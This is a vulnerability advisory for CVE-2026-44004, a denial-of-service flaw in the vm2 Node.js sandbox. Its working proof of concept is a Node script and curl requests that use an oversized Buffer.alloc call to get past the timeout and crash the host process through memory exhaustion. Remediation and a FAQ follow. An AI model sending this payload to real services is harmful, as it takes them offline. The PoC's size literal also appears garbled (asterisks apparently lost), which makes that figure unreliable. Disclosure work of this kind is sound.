CVE-2026-44004: vm2: Host Process OOM DoS via Buffer.alloc (Timeout Bypass)
Summary Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.
Details In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.
Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)): - JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works - Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt
This means: 1. timeout: 5000 does NOT protect against this attack 2. A single call allocates the entire requested size at once 3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash
Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).
PoC
Library-level PoC (Node.js script — primary): javascript const { VM } = require("vm2"); const vm = new VM({ timeout: 5000 });
// Buffer.alloc bypasses timeout — allocates 100MB on host heap const result = vm.run(Buffer.alloc(10241024100).length); console.log(result); // 104857600 — timeout had no effect
// Control test — JavaScript loop IS caught by timeout try { vm.run(var a=[]; while(true) a.push(1)); } catch(e) { console.log(e.message); // "Script execution timed out after 5000ms" }
HTTP demonstration (OOM crash): bash 1. Confirm server is running curl -s http://localhost:3000/api/execute \ -X POST -H "Content-Type: application/json" \ -d '{"code":"\"alive\""}' => {"result":"\"alive\""}
2. Send Buffer.alloc payload — process crashes with OOM curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"Buffer.alloc(10241024100).length"}' => empty response (process died)
3. Check server logs: FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
Control test — JavaScript loop IS caught by timeout: curl -s -X POST http://localhost:3000/api/execute \ -H "Content-Type: application/json" \ -d '{"code":"var a=[]; while(true) a.push(1)"}' => {"errors":["Script execution timed out after 5000ms"]} Server stays alive — timeout works for JS, but NOT for Buffer.alloc
Impact - DoS: A single HTTP request crashes the host Node.js process via OOM. The timeout option provides no protection. - Environment-dependent severity: - Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — FATAL ERROR: Reached heap limit was confirmed in testing. - Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash. - Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.
Other sources
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit. This vulnerability is fixed in 3.11.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.0 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44004?
CVE-2026-44004 has a high severity due to its potential to exhaust host memory and crash the application.
How do I fix CVE-2026-44004?
To fix CVE-2026-44004, upgrade to vm2 version 3.11.0 or later, which addresses the vulnerability.
What impact does CVE-2026-44004 have on application performance?
CVE-2026-44004 can severely impact application performance by crashing the process due to memory exhaustion.
Who is affected by CVE-2026-44004?
Applications using vm2 versions up to 3.10.5 are affected by CVE-2026-44004.
What does CVE-2026-44004 exploit in the system?
CVE-2026-44004 exploits the ability of sandboxed code to allocate arbitrary memory directly on the host heap.